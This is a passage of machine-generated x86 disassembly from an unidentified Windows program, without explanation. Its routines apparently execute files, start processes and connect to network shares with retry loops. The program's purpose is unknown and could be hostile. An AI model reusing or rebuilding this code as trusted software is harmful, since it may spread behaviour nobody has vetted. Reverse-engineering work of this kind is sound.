		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4B3BE4
		cmp	eax, 20h
		setnl	al
		retn
sub_41A700	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A740	proc near		; CODE XREF: sub_401FBEj

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		call	ds:dword_4B38DC
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41A740	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A7B0:				; CODE XREF: _294ADE7B:004017B7j
		sub	esp, 354h
		mov	eax, ds:off_43BD88
		mov	ecx, ds:off_43BD8C
		mov	[esp+0], eax
		mov	al, ds:byte_43FDC8
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, ds:dword_43BD90
		rep stosd
		mov	ecx, ds:dword_43BD80
		mov	[esp+10h], edx
		mov	dx, ds:word_43BD84
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		call	ds:dword_4B3890
		mov	esi, ds:dword_4B3A8C
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_4AFD3C
		push	offset dword_4AFD3C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_430AB6
		cmp	eax, 5
		jz	short loc_41A898
		cmp	eax, 4C3h
		jnz	short loc_41A8A1


loc_41A898:				; CODE XREF: _294ADE7B:0041A88Fj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_430AB6


loc_41A8A1:				; CODE XREF: _294ADE7B:0041A896j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41A8B8
		cmp	eax, 4C3h
		jz	short loc_41A8B8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41A8B8:				; CODE XREF: _294ADE7B:0041A8A6j
					; _294ADE7B:0041A8ADj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A920:				; CODE XREF: _294ADE7B:00401D8Ej
		sub	esp, 354h
		mov	eax, ds:off_43BD88
		mov	ecx, ds:off_43BD8C
		mov	[esp+0], eax
		mov	al, ds:byte_43FDC8
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, ds:dword_43BD90
		rep stosd
		mov	ecx, ds:dword_43BD80
		mov	[esp+10h], edx
		mov	dx, ds:word_43BD84
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	ds:dword_4B3890
		mov	esi, ds:dword_4B3A8C
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_430ABC
		test	eax, eax
		jz	short loc_41AA08
		mov	esi, ds:dword_4B38CC


loc_41A9EC:				; CODE XREF: _294ADE7B:0041AA06j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_430ABC
		test	eax, eax
		jnz	short loc_41A9EC


loc_41AA08:				; CODE XREF: _294ADE7B:0041A9E4j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AA60	proc near		; CODE XREF: sub_401C58j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41AA60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4018DE
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_401726
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+60h+var_3C]
		push	6
		push	edx
		call	sub_4018DE
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 1
		call	sub_401726
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+5Ch+var_3C]
		push	6
		push	ecx
		call	sub_4018DE
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 2
		call	sub_401726
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+60h+var_3C]
		push	8
		push	eax
		call	sub_4018DE
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 3
		call	sub_401726
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+64h+var_3C]
		push	8
		push	edx
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 4
		call	sub_401726
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+70h+var_24]
		push	8
		push	ecx
		call	sub_4018DE
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 5
		call	sub_401726
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_41AA60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41ACE0	proc near		; CODE XREF: sub_40105Fj

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41ACE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_4013CF
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_4013CF
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_4013CF
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_4013CF
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401A41
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_401726
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		lea	ecx, [ebp+4]
		call	sub_401726
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41AF0C
		push	offset dword_43B600
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_4015F5
		push	eax
		call	sub_401861
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41B871
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401E65
		push	offset asc_43BB68 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_4019BA
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401122
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401E65
		push	1
		push	offset dword_43B600
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011C2
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401E65
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		push	94h
		call	sub_43034A
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41AE9C
		mov	ecx, eax
		call	sub_402031
		mov	edi, eax
		jmp	short loc_41AE9E
; ---------------------------------------------------------------------------


loc_41AE9C:				; CODE XREF: sub_41ACE0+1AFj
		xor	edi, edi


loc_41AE9E:				; CODE XREF: sub_41ACE0+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401E65
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401E65
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401E65
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401E65
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_40137F


loc_41AF0C:				; CODE XREF: sub_41ACE0+C0j
		lea	ecx, [ebp+60h]
		call	sub_401726
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41B08B
		push	offset dword_43B600
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_4015F5
		push	eax
		call	sub_401861
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41B871
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401E65
		push	offset asc_43BB68 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_4019BA
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401122
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401E65
		push	1
		push	offset dword_43B600
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011C2
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401E65
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		push	94h
		call	sub_43034A
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41B01B
		mov	ecx, eax
		call	sub_402031
		mov	edi, eax
		jmp	short loc_41B01D
; ---------------------------------------------------------------------------


loc_41B01B:				; CODE XREF: sub_41ACE0+32Ej
		xor	edi, edi


loc_41B01D:				; CODE XREF: sub_41ACE0+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401E65
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401E65
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401E65
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401E65
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_40137F


loc_41B08B:				; CODE XREF: sub_41ACE0+23Fj
		lea	ecx, [ebp+32h]
		call	sub_401726
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41B2C6
		push	offset dword_43B600
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_4015F5
		push	eax
		call	sub_401861
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41B871
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401E65
		push	offset asc_43BB68 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_4019BA
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401122
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401E65
		push	1
		push	offset dword_43B600
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011C2
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401E65
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		push	offset dword_43B600
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_401622
		push	offset word_4403F2
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401A7D
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_4011F9
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41B22E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401456
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al
		jmp	loc_41B8E2
; ---------------------------------------------------------------------------


loc_41B22E:				; CODE XREF: sub_41ACE0+4D6j
		push	94h
		call	sub_43034A
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41B256
		mov	ecx, eax
		call	sub_402031
		mov	edi, eax
		jmp	short loc_41B258
; ---------------------------------------------------------------------------


loc_41B256:				; CODE XREF: sub_41ACE0+569j
		xor	edi, edi


loc_41B258:				; CODE XREF: sub_41ACE0+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401E65
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401E65
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401E65
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401E65
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_40137F


loc_41B2C6:				; CODE XREF: sub_41ACE0+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_401726
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41B46B
		push	offset dword_43B600
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_4015F5
		push	eax
		call	sub_401861
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41B871
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401E65
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401E65
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401E65
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401E65
		push	1
		push	offset dword_43B600
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011C2
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401E65
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		push	94h
		call	sub_43034A
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41B3DE
		mov	ecx, eax
		call	sub_402031
		mov	edi, eax
		jmp	short loc_41B3E0
; ---------------------------------------------------------------------------


loc_41B3DE:				; CODE XREF: sub_41ACE0+6F1j
		xor	edi, edi


loc_41B3E0:				; CODE XREF: sub_41ACE0+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401E65
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401E65
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401E65
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401E65
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401E65
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401E65
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_40137F


loc_41B46B:				; CODE XREF: sub_41ACE0+5FCj
		lea	ecx, [ebp+118h]
		call	sub_401726
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41B610
		push	offset dword_43B600
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_4015F5
		push	eax
		call	sub_401861
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41B871
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401E65
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401E65
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401E65
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401E65
		push	1
		push	offset dword_43B600
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011C2
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401E65
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		push	94h
		call	sub_43034A
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41B583
		mov	ecx, eax
		call	sub_402031
		mov	edi, eax
		jmp	short loc_41B585
; ---------------------------------------------------------------------------


loc_41B583:				; CODE XREF: sub_41ACE0+896j
		xor	edi, edi


loc_41B585:				; CODE XREF: sub_41ACE0+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401E65
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401E65
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401E65
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401E65
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401E65
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401E65
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_40137F


loc_41B610:				; CODE XREF: sub_41ACE0+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_401726
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41B871
		push	offset dword_43B600
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_4015F5
		push	eax
		call	sub_401861
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41B871
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401E65
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401E65
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401E65
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401E65
		push	1
		push	offset dword_43B600
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011C2
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401E65
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_4011F9
		push	offset dword_43B600
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_401622
		push	offset word_4403F2
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401A7D
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_4011F9
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41B7BC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401456
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al
		jmp	loc_41B8E2
; ---------------------------------------------------------------------------


loc_41B7BC:				; CODE XREF: sub_41ACE0+A64j
		push	94h
		call	sub_43034A
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41B7E4
		mov	ecx, eax
		call	sub_402031
		mov	edi, eax
		jmp	short loc_41B7E6
; ---------------------------------------------------------------------------


loc_41B7E4:				; CODE XREF: sub_41ACE0+AF7j
		xor	edi, edi


loc_41B7E6:				; CODE XREF: sub_41ACE0+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401E65
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401E65
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401E65
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401E65
		lea	ecx, [esp+124h+var_94]
		push	ecx
